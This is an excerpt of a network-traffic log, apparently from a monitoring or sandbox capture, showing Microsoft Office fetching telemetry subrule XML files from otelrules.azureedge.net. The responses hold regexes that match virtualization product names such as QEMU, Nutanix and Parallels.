2024-11-18 22:04:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220407Z-16547b76f7f2b5qzhC1DFWeag400000004p00000000077sv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220408Z-16547b76f7fmcv27hC1DFWgpcg000000052g00000000zs8g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 3f8cbb92-901e-005b-03f6-392005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220408Z-r18f44ddb699qlj8hC1DFWad8c00000000kg000000005dy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 3ec875b9-801e-00ac-137b-37fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220408Z-164f84587bfsgfx9hC1DFWw1as00000006cg000000001ndc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220408Z-r18f44ddb699qlj8hC1DFWad8c00000000cg000000005b25 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:09 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220409Z-1866b5c5fbblmqrkhC1DFWf9ns00000004k000000000bc9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220409Z-164f84587bfjxw6fhC1DFWq94400000006fg00000000rkg8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220409Z-16547b76f7fsq6p7hC1DFWfx6800000004y0000000002q6a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220409Z-16547b76f7f9s8x7hC1DFWywrg0000000680000000005e0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 4163e43d-001e-0049-7f9d-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220410Z-164f84587bf7jb9dhC1DFWkay4000000062000000000e48t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a5808a03-d01e-002b-349b-3825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220410Z-16547b76f7fkz9l7hC1DFW35uc00000003fg00000000ffup x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
